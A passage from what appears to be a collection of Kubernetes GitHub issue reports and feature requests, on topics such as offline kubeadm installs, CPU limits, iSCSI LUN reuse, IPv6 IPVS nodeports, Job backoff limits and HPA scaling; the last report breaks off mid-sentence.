<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   \r yes\r \r   what keywords did you search in kubernetes issues before filing this one?   \r  kubeadm init , created api client,\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r there is a limitation in china. we cannot access gcr.io, but nether kubeadm nor minikube cannot deploy locally.\r i have loaded all required images into docker  after download from dockerhub or somewhere else , but kubeadm still try to connect to gcr.io. i think it's better to set an argument for offline. \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu 16.04 lts\r -   kernel    e.g.  uname -a  : linux ubuntu 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  : \r \r \r   what happened  :\r  kubeadm init  hang up at\r  apiclient  created api client, waiting for the control plane to become ready\r \r and  journalctl -f -u docker  :\r get https://gcr.io/v1/_ping: dial tcp 108.177.97.82:443: i/o timeout\r \r and  docker images :\r > docker images\r repository                                               tag                 image id            created             size\r gcr.io/google-containers/kube-proxy-amd64                v1.6.0              746d1460005f        3 weeks ago         109.2 mb\r gcr.io/google-containers/kube-controller-manager-amd64   v1.6.0              dc78cc207023        3 weeks ago         132.7 mb\r gcr.io/google-containers/kube-apiserver-amd64            v1.6.0              6a29f77d1186        3 weeks ago         150.5 mb\r gcr.io/google-containers/kube-scheduler-amd64            v1.6.0              dc03ae0150c9        3 weeks ago         76.75 mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.1              fc5e302d8309        7 weeks ago         44.52 mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.1              f8363dbf447b        7 weeks ago         52.36 mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.1              1091847716ec        7 weeks ago         44.85 mb\r gcr.io/google-containers/etcd-amd64                      3.0.17              243830dae7dd        7 weeks ago         168.9 mb\r gcr.io/google-containers/pause-amd64                     3.0                 99e59f495ffa        11 months ago       746.9 kb\r \r   what you expected to happen  :\r kubeadm init successfully\r \r   how to reproduce it    as minimally and precisely as possible :\r load all images into docker and  kubeadm init  in china or offline\r \r   anything else we need to know  :\r \r

the generalpleg's parameter  plegrelistperiod is too long in some certain scenes. \r now the plegrelistperiod  is  set as 1s, is too long in some  certain scenes  such as serverless.\r can it set much more short , like 100ms ? \r \r \r \r

the effect of cpu throttling is non obvious to users and throws them off when they try out kubernetes. it also complicates cpu capacity planning for pods. pods that are carefully placed in guaranteed qos class are typically of higher  other pods, and these pods are expected to get the best performance. on the other hand, burstable pods may have to be limited in certain environments to avoid tail latencies for guaranteed pods.\r i propose we avoid setting cpu limits on guaranteed pods by default and continue to impose cpu limits on burstable pods. we can provide a config option to ease the rollout in existing clusters. users may need time to handle this transition, and some of them may choose to use the existing policies. \r \r closely related is static cpu pinning policies in kubelet which will naturally limit guaranteed pods to specific cores if they request integral number of cores. this feature may be combined with turning off cpu limiting for guaranteed pods. that said, having an ability to configure each of these feature independently will still be helpful.\r \r @derekwaynecarr we have discussed this in the past, but afaik, an issue hasn't been filed thus far. @dchen1107 thoughts? \r \r if there is a general agreement that this is the intended direction longer term, i can post a patch to make cpu limit policies configurable.\r \r @kubernetes/sig-node-feature-requests

i'm seeing errors like  user \ harold\  cannot create localsubjectaccessreviews in the namespace \ mallet-project\ .: \ user \\\ harold\\\  cannot create localsubjectaccessreviews in project \\\ mallet-project\\\ \   post localsubjectaccessreviews   which are unnecessarily verbose and bit ugly.

 \r   what happened  :\r cpu manager node e2e tests fail due to mismatch in cpu assignment.\r \r    \r sep 25 13:45:45.340: info: unexpected error occurred: failed to match regexp \ ^1\ $\  in output \ 4\ \ \r    \r \r followed by \r    \r  expected log not found in container  gu-container  of pod  gu-pod \r     expected error:\r         < errors.errorstring | 0xc4203e9b90>: {\r             s: \ failed to match regexp \\\ ^1\\\ $\\\  in output \\\ 4\\\ \\\ \ ,\r         }\r         failed to match regexp \ ^1\ $\  in output \ 4\ \ \r     not to have occurred\r \r    \r \r this is caused by not detecting whether ht is enabled on platform properly. \r  ishtenabled    does  lscpu | grep \\\ thread s  per core:\\\  | cut -c24  whereas on some systems\r  -c22  is needed.\r  lscpu  output line char should not be hard-coded.\r \r \r   what you expected to happen  :\r expect tests to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  make test-e2e-node test_args='--feature-gates=dynamickubeletconfig=true' focus=\ cpu manager\  skip=\ \  parallelism=1  on fedora26\r \r   anything else we need to know?  :\r \r   environment  :\r - os  fedora 26 :\r - kernel  4.12.13 :\r \r

>  \r   what happened  :\r \r i am not an iscsi expert, but it looks like there is data corruption  possible on iscsi lun reuse.\r \r in the following sequence of events on a given node:\r \r 1. provision iscsi volume , map to host, lun x will be assigned to it\r 2. let node discover that lun  lets say mount another iscsi pv, which would trigger iscsi rescan \r 3. delete iscsi volume  lun x will be unmapped from host \r 4. create new iscsi volume, map to host, same lun x will be assigned to it, following warning will be printed on a console:\r    \r warning! received an indication that the lun assignments on this target have changed. \r the linux scsi layer does not automatically remap lun assignments.\r    \r 5. create pv for that iscsi volume\r 6. run pod with that pv on this node\r \r what is going to happen, is that even though  iscsi  volume plugin rescans scsi bus, rescan doesn't delete previously existing scsi devices, so it can  will?  use old lun x scsi device and then attempt to mount it with unknown consequences. on our systems we definitely saw how freshly formatted dynamically  provisioned volume couldn't be mounted due to ext4 errors , with  lun warnings reported just before. i'll try to prepare reproducer for this case, but this \ analytical proof\  looks pretty scary already :-/\r \r \r steps 1, 3 can be done by dynamic provisioner such as netapp trident, these volumes can be mounted on another node and never be mouted on a node in  question, what important is that they are created and node discovers them.\r \r extra information on lun reuse, where solid advice on device deletion is given by kernel devs:\r \r https://www.redhat.com/archives/dm-devel/2018-january/msg00493.html\r https://www.redhat.com/archives/dm-devel/2016-october/msg00409.html\r \r  /cc @mtanino

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r ran  kubectl port-forward win-pod-id :80  on windows pod and received the error message:\r \r    \r e0524 07:17:58.290956    3416 portforward.go:331  an error occurred forwarding 51886 -> 80: error forwarding port 80 to pod cf624f214b97021d604e4d65572098067b8958848629752477630a652135020f, uid : unable to do port forwarding: socat not found.\r    \r   what you expected to happen  :\r the port be available on my localhost\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl run windows-whoami -image=stefanscherer/whoami:windows-amd64-1.6.1-1803 \r kubectl port-forward <pod-id> :8080\r    \r \r   anything else we need to know?  :\r socat is not available on windows nodes\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: 1.10.2\r \r - cloud provider or hardware configuration: azure - acs-engine\r - os  e.g. from /etc/os-release : windows server 1803\r - kernel  e.g.  uname -a  :\r - install tools: \r - others:\r

 i noticed  that currently we lacks a way to locate subject, for example, a admin want to know who can perform pod deletion in namespace \ default\ . currently it may be a little difficult to achieve this , since the admin must get all the clusterrolebinding/clusterrole, rolebinding/rolebinding in namespace default and then traverse by some sort of hand-writing script.\r i think we need some kind of api to list subjects who have the power to perform specific actions. patch https://github.com/kubernetes/kubernetes/pull/35300 has completed part of this goal.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r mixed protocols loadbalacer services are not supported by apiserver. it will decline those services with error \ cannot create an external load balancer with non-tcp/udp ports\ :\r \r https://github.com/kubernetes/kubernetes/blob/c16fa77d7935a0515ce32a3f9b3e3ca866d7e5a3/pkg/apis/core/validation/validation.go l3706-l3720\r \r as stated in https://github.com/kubernetes/kubernetes/pull/64471 , \r \r > it's not that \ not all implementations support it\ , it's that almost all implementations  as far as i know  do not support it. i would like to be able to allow this, but it would be just another source of support issues when people try to bridge environments.\r \r > this could be an implementation-specific annotation, which could build support for an argument that it is portable, but to the best of my knowledge it is not.\r \r we will add a new annotation  service.beta.kubernetes.io/azure-load-balancer-mixed-protocols=true  to support this feature. when annotated, two load balancer rules with different protocols  tcp and udp  will be created for the service.\r \r e.g.\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-mixed-protocols: \ true\ \r   name: web\r   namespace: default\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     app: web\r   sessionaffinity: none\r   type: loadbalancer\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r refer https://github.com/kubernetes/kubernetes/issues/23880 and https://github.com/kubernetes/kubernetes/pull/64471.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when there is no image presented in local, we can find warnings via  kubectl get event -w .\r after uploading image to local docker and pod become running, we can just ocassionally find the _created container_ and _started container_ via the event watcher, which would be quite often if imagepullpolicy=never.\r \r   what you expected to happen  :\r we should be able to watch the _created container_ and _started container_ event definitely.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create pods which images are not presented in local.\r 2. wait until the warning of images pull back-off event.\r 3. upload the images, wait until pod become running.\r 4. the events of _created container_ and _started container_ would never be watched.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  /area ipv6\r /area ipvs\r  \r   what happened  :\r \r in an ipv6-only cluster with proxy-mode=ipvs the entries for nodeport in ipvs are created for ipv4 addresses. the target's  if there are any  consists of ipv6 addresses  wrongly  interpreted as ipv4;\r \r    \r   kubectl get svc\r name         type        cluster-ip        external-ip   port s           age\r cgen         nodeport    fd00:4000::c698   1000::2       5001:30669/tcp   42m\r ...\r   ipvsadm -l -n\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  127.0.0.1:30669 rr\r   -> 253.0.48.0:5001              masq    1      0          0         \r tcp  192.168.0.4:30669 rr\r   -> 253.0.48.0:5001              masq    1      0          0         \r tcp   fd00:4000::c698 :5001 rr\r   ->  fd00:3000:1::2 :5001        masq    1      0          0         \r   ->  fd00:3000:2::2 :5001  \r ...\r    \r \r attempts to use the nodeport with ipv6 addresses are black-holed.\r \r   what you expected to happen  :\r \r ipv6 addresses to the nodes should be used for noteport and the lb-targets shall be the ipv6 address of the pods. traffic to nodeports shall be distributed among the  ipv6  endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   setup an ipv6-only cluster\r   create a service with type  nodeport  with endpoints\r   try to connect to the nodeport\r   do  ipvsadm -l -n \r \r   anything else we need to know?  :\r \r the nodes have both ipv4 and ipv6 addresses and it is possible that if the nodes only had ipv6 addresses it would work  i havn't tested . but even in an ipv6-only k8s cluster the nodes almost always need ipv4 addresses for other purposes.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1136+edd4fc25330c7f\ , gitcommit:\ edd4fc25330c7fba7f0fd8a127b872c8614c7363\ , gittreestate:\ clean\ , builddate:\ 2018-09-07t16:28:26z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1136+edd4fc25330c7f\ , gitcommit:\ edd4fc25330c7fba7f0fd8a127b872c8614c7363\ , gittreestate:\ clean\ , builddate:\ 2018-09-07t16:27:51z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   kvm vms on ubuntu 18.04.01 lts\r - os  e.g. from /etc/os-release :\r   own busybox based system\r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux vm-004 4.18.5  1 smp fri sep 7 14:40:23 cest 2018 x86_64 gnu/linux\r    \r - install tools:\r   none\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r a simple job queue that is based on k8s jobs\r \r   why is this needed  :\r currently, most of the time, people just need jobs that are queued. of course this can be built by introducing complicated systems like, rabbitmq or kafka, however most of the time  consider iot  this is too much, people just need something like a \ queue\  where they can put queuedjobs than run with a parallelism of 1 or 2, which can have all the goodies that k8s jobs have  like activedeadlineseconds, restartpolicy, whatever .\r \r in a simple fashion this could be as simple as having a queuedjob, which is like job, but just has a selector label that groups \ queuedjobs\  together, so that the kubernetes scheduler will at most start x amount of a job.\r

addon updater is a linux service on the master. it should be replaced by a pod

i installed k8s using  cluster/kube-up.sh  with aws provider.  i have a container which outputs logs in this format:      ::ffff:10.244.2.8 - -  26/jul/2016:21:18:30 +0000  \ get / http/1.1\  200 15563 \ -\  \ pingdom.com_bot_version_1.4_ http://www.pingdom.com/ \       for some reason, logs that look like this are not visible through kibana but other logs are  e.g.  user just registered!  . after changing my log format to something more simple the logs start showing up in kibana, e.g.:      get / 200 - 0.429 ms      i have no idea how to dig further into this issue as i'm new to k8s, kibana, fluentd and elasticsearch.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : raising this bug after discussing with gmarek.    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ }    environment  : -   cloud provider or hardware configuration  : x86_64 -   os    e.g. from /etc/os-release :  rhel 7.2 -   kernel    e.g.  uname -a  :  3.10.0-327.el7.x86_64 -   install tools  :  -   others  :    what happened  : i'm trying to run density tests using the following command :  go run hack/e2e.go -v --test --test_args=\ --ginkgo.focus=\ density\ \  and observed the following error - 'getsigner ...  not implemented for skeleton'\ }    what you expected to happen  : skeleton implementation required    how to reproduce it    as minimally and precisely as possible : go run hack/e2e.go -v --test --test_args=\ --ginkgo.focus=\ density\ \     anything else do we need to know  : after my discussion with gmarek, i came to know that skeleton is not implemented in the following function - function name : func getsigner provider string   ssh.signer,  @error  . hence raising this bug. additionally this is being run on a local cluster and i have attached the logs as well.   nohup.txt  https://github.com/kubernetes/kubernetes/files/552937/nohup.txt   thanks  @gmarek @wojtek-t  and @dchen1107

bug report\r \r   kubernetes version    use  kubectl version  : 1.4.5 \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos alpha 1221\r -   kernel    e.g.  uname -a  : 4.8.6\r -   install tools  :\r -   others  :\r \r   what happened  :\r \r when adding a federated service to a federation api with aws route53 as a dns provider, alias records are not added to the hosted-zone. with aws, load balancer does not return ip addresses but fqdn :\r \r    \r kubectl --context=federation-cluster describe services                                                                                             \r name:                   nginx\r namespace:              default\r labels:                 app=nginx\r selector:               app=nginx\r type:                   loadbalancer\r ip:\r loadbalancer ingress:   a97974d3daa8711e692d7024e51f5899-1324458526.eu-west-1.elb.amazonaws.com, a97a93575aa8711e68c950ea3591b9e0-1980277648.us-east-1.elb.amazonaws.com\r port:                   http    80/tcp\r endpoints:              <none>\r session affinity:       none\r no events.%                                                                                     \r    \r \r in aws it is not possible to add a records with ip to a load balancer, an alias should be used.\r \r   what you expected to happen  :\r \r with google cloud, lb return ip address : \r \r    \r $kubectl --context=federation-cluster describe services nginx\r \r name:                   nginx\r namespace:              default\r labels:                 run=nginx\r selector:               run=nginx\r type:                   loadbalancer\r ip:         \r loadbalancer ingress:   104.197.246.190, 130.211.57.243, 104.196.14.231, 104.199.136.89, ...\r port:                   http    80/tcp\r endpoints:              <none>\r session affinity:       none\r no events.\r    \r if you look at the documentation, a records are created :\r \r    \r gcloud dns record-sets list --zone example-dot-com\r name                                                                                                 type      ttl     data\r example.com.                                                                                       ns     21600  ns-cloud-e1.googledomains.com., ns-cloud-e2.googledomains.com.\r example.com.                                                                                      soa     21600 ns-cloud-e1.googledomains.com. cloud-dns-hostmaster.google.com. 1 21600 3600 1209600 300\r nginx.mynamespace.myfederation.svc.example.com.                            a     180     104.197.246.190, 130.211.57.243, 104.196.14.231, 104.199.136.89,...\r nginx.mynamespace.myfederation.svc.us-central1-a.example.com.     a     180     104.197.247.191\r nginx.mynamespace.myfederation.svc.us-central1-b.example.com.     a     180     104.197.244.180\r nginx.mynamespace.myfederation.svc.us-central1-c.example.com.     a     180     104.197.245.170\r nginx.mynamespace.myfederation.svc.us-central1-f.example.com. cname 180     nginx.mynamespace.myfederation.svc.us-central1.example.com.\r nginx.mynamespace.myfederation.svc.us-central1.example.com.         a    180     104.197.247.191, 104.197.244.180, 104.197.245.170\r nginx.mynamespace.myfederation.svc.asia-east1-a.example.com.       a    180     130.211.57.243\r nginx.mynamespace.myfederation.svc.asia-east1-b.example.com.  cname 180     nginx.mynamespace.myfederation.svc.asia-east1.example.com.\r nginx.mynamespace.myfederation.svc.asia-east1-c.example.com.       a    180     130.211.56.221\r nginx.mynamespace.myfederation.svc.asia-east1.example.com.           a    180     130.211.57.243, 130.211.56.221\r nginx.mynamespace.myfederation.svc.europe-west1.example.com.  cname    180   nginx.mynamespace.myfederation.svc.example.com.\r nginx.mynamespace.myfederation.svc.europe-west1-d.example.com.  cname   180     nginx.mynamespace.myfederation.svc.europe-west1.example.com.\r ... etc.\r    \r \r on aws only cname are created and not the records to access the service from the outside :\r \r    \r aws route53 list-resource-record-sets --hosted-zone-id z30rxj6808bklw --output text\r resourcerecordsets      nginx.default.federation.svc.eu-west-1a.eu-west-1.archifleks.xyz.       180     cname\r resourcerecords nginx.default.federation.svc.eu-west-1.archifleks.xyz.\r resourcerecordsets      nginx.default.federation.svc.eu-west-1.archifleks.xyz.  180     cname\r resourcerecords nginx.default.federation.svc.archifleks.xyz.\r resourcerecordsets      nginx.default.federation.svc.us-east-1.archifleks.xyz.  180     cname\r resourcerecords nginx.default.federation.svc.archifleks.xyz.\r resourcerecordsets      nginx.default.federation.svc.us-east-1a.us-east-1.archifleks.xyz.       180     cname\r resourcerecords nginx.default.federation.svc.us-east-1.archifleks.xyz.\r \r    \r on aws, we should have a record like this :\r \r    \r nginx.default.federation.svc.us-east-1.archifleks.xyz in a dualstack.fqdn of us lb\r nginx.default.federation.svc.eu-west-1.archifleks.xyz in a dualstack.fqdn of eu lb\r nginx.default.federation.svc.archifleks.xyz in a dualstack.fqdn of both us and eu lb\r \r and the same thing for aaaa records\r    \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

unable to run the pods in kubernetes it throws the following error:\r cannot join network of a non running container\r \r please help out

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r the  kubefed init  will install etcd, but the etcd is not secured, we should enable secure mode for etcd, checkout here for how to enable tls for etcd https://coreos.com/etcd/docs/latest/op-guide/security.html\r \r    \r       --api-server-advertise-address string      preferred address to advertise api server nodeport service. valid only if 'api-server-service-type=nodeport'.\r       --api-server-service-type string           the type of service to create for federation api server. options: 'loadbalancer'  default , 'nodeport'.  default \ loadbalancer\  \r       --apiserver-arg-overrides string           comma separated list of federation-apiserver arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --apiserver-enable-basic-auth              enables http basic authentication for the federation-apiserver. defaults to false.\r       --apiserver-enable-token-auth              enables token authentication for the federation-apiserver. defaults to false.\r       --controllermanager-arg-overrides string   comma separated list of federation-controller-manager arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --dns-provider string                      dns provider to be used for this deployment.\r       --dns-provider-config string               config file path on local file system for configuring dns provider.\r       --dns-zone-name string                     dns suffix for this federation. federated service dns names are published with this suffix.\r       --dry-run                                  dry run without sending commands to server.\r       --etcd-image string                        image to use for etcd server.  default \ gcr.io/google_containers/etcd:3.0.17\  \r       --etcd-persistent-storage                  use persistent volume for etcd. defaults to 'true'.  default true \r       --etcd-pv-capacity string                  size of persistent volume claim to be used for etcd.  default \ 10gi\  \r       --etcd-pv-storage-class string             the storage class of the persistent volume claim used for etcd.   must be provided if a default storage class is not enabled for the host cluster.\r       --federation-system-namespace string       namespace in the host cluster where the federation system components are installed  default \ federation-system\  \r       --host-cluster-context string              host cluster context\r       --image string                             image to use for federation api server and controller manager binaries.  default \ gcr.io/google_containers/hyperkube-amd64:v0.0.0-master+$format:%h$\  \r       --kubeconfig string                        path to the kubeconfig file to use for cli requests.\r    \r  /cc @kubernetes/sig-federation-feature-requests \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

/ /  @kubernetes/sig-testing-test-failures \r \r these are release-blocking\r - https://k8s-testgrid.appspot.com/sig-release-master-blocking test-go\r - https://k8s-testgrid.appspot.com/sig-release-master-blocking verify\r \r this is blocking presubmits:\r - https://k8s-testgrid.appspot.com/presubmits-kubernetes pull-kubernetes-unit\r \r using test-go as an example:\r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/11559\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/11560\r - the kubernetes commit range doesn't look like it should have caused this, so i suspect test-infra\r - manual guess at suspect range based on infra-commit: https://github.com/kubernetes/test-infra/compare/3f126e390...e58e59703\r \r /assign @bentheelder

is this a bug report or feature request?  :\r  \r   what happened  : \r \r  .spec.backofflimit  for a job does not work on kubernetes 1.10.0\r \r   what you expected to happen  :\r \r  .spec.backofflimit  can limit the number of time a pod is restarted when running inside a job\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use this resource file:\r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: error\r spec:\r   backofflimit: 1\r   template:\r     metadata:\r       name: job\r     spec:\r       restartpolicy: never\r       containers:\r         - name: job\r           image: ubuntu:16.04\r           args:\r             - sh\r             - -c\r             - sleep 5; false\r    \r \r if the job was created in kubernetes 1.9, it will soon fail:\r \r    \r ....\r status:\r     conditions:\r     - lastprobetime: 2018-04-11t10:20:31z\r       lasttransitiontime: 2018-04-11t10:20:31z\r       message: job has reach the specified backoff limit\r       reason: backofflimitexceeded\r       status: \ true\ \r       type: failed\r     failed: 2\r     starttime: 2018-04-11t10:20:00z\r ...\r    \r \r while creating the job in kubernetes 1.10, it will be restarted infinitely:\r \r    \r ...\r status:\r   active: 1\r   failed: 8\r   starttime: 2018-04-11t10:37:48z\r ...\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :  linux \r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?:  \r \r  \r   what happened  :\r \r yesterday on 4:29pm gmt+7 the number of pods suddenly decreasing drastically from 50 to 3 though the traffic come to that deployments is actually just the same. the number of 3 here is the minimum number of pods intended for my hpa. i'm running kubernetes version 1.9.6 and this is what we found in the metrics logs:\r \r    \r \ 2018-06-29 02:30:42.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:30:47.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:32:12.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:32:17.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:33:12.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:36:11.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:36:16.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r 2018-06-29 02:36:21.000 pdt\r v1beta1.metrics.k8s.io failed with: get https://10.33.13.8:443: net/http: request canceled  client.timeout exceeded while awaiting headers \r no newer entries found matching current filter in the selected time range.   load newer logs\r \ \r    \r  \r   what you expected to happen  :\r \r the hpa won't suddenly decrease the number of pods because the traffic is just the same, our service usually have about 20 until 50 pods if the traffic is stable.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r currently we still don't know the root cause so we can't reproduce this. however the issue was mitigated by removing the  livenessprobe  and redeploy the deployment.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.6\r \r - cloud provider or hardware configuration:\r gke\r \r - os  e.g. from /etc/os-release :\r cos\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what would you like to be added  :\r \r add support to the kube-apiserver so that we can disable health-checks via query params. \r \r   why is this needed  :\r \r currently, the healthz endpoint is inflexible in that any and all health checks are currently executed when the endpoint is hit. since the kube-apiserver only currently supports a liveness check, this means all persistent health check failures will eventually result in a kubelet driven restart. however, this may not be desirable behavior if you have additional monitoring services layered on top of your control plane. \r \r for instance, take the etcd failure from the perspective of the kube-apiserver. currently, persistent failures during the etcd health check from the api-server healthz endpoint will cause the kube-apiserver to be restarted. this sometimes helps  in the case of a faulty etcd-client connection  but also can be detrimental  the kube-apiserver restarts until the etcd cluster is functioning, then the kube-apiserver bombards the etcd cluster with requests to update local caches, saturating the etcd cluster with requests, causing it to timeout on its own liveness probes and trigger a kubelet-driven restart . \r \r let's say that we could now disable etcd from our liveness health check. then if we had an external monitoring service, we could ask independently ask etcd if it was healthy and we could also ask the kube-apiserver if it thought etcd was unhealthy. based on the combination of those answers, we could enable more intelligent responses to certain situation, like restarting the kube-apiserver when it thought etcd was unhealthy but etcd was actually reporting as healthy but not doing so when etcd was actually unhealthy. \r \r this feature is backwards-compatible and opt-in. there would be no impact to existing behavior unless these query params are actually used. \r \r  

what happened  :\r \r prior to 1.14, when you created a watch on a resource coming from an aggregated api, you would instantly obtain the  watch.interface  object, and could stop it when you want.\r \r since 1.14, when you do the same, the  request.watch    method returns when the server sends its first event. resources directly hosted by the central api-server  core resources, crds, etc.  are not touched by this issue.\r \r when you use higher level apis like informers, situations like this can make your code hang, as attempts to stop the informer seem ignored  the informer cancellation logic only works once the underlying watch.interface has been retrieved , and your code hang.\r \r this is hitting https://github.com/docker/cli, and a workaround has been found here: https://github.com/docker/cli/pull/1784. however this change of behavior means that current versions of the cli can hang when deploying kubernetes workloads.\r \r   what you expected to happen  :\r \r as with resources hosted by the central api server, the watch.interface object should be instantly returned\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'll try to setup an automated test case for that with compose-on-kubernetes.\r in the mean-time:\r - deploy a kube 1.14 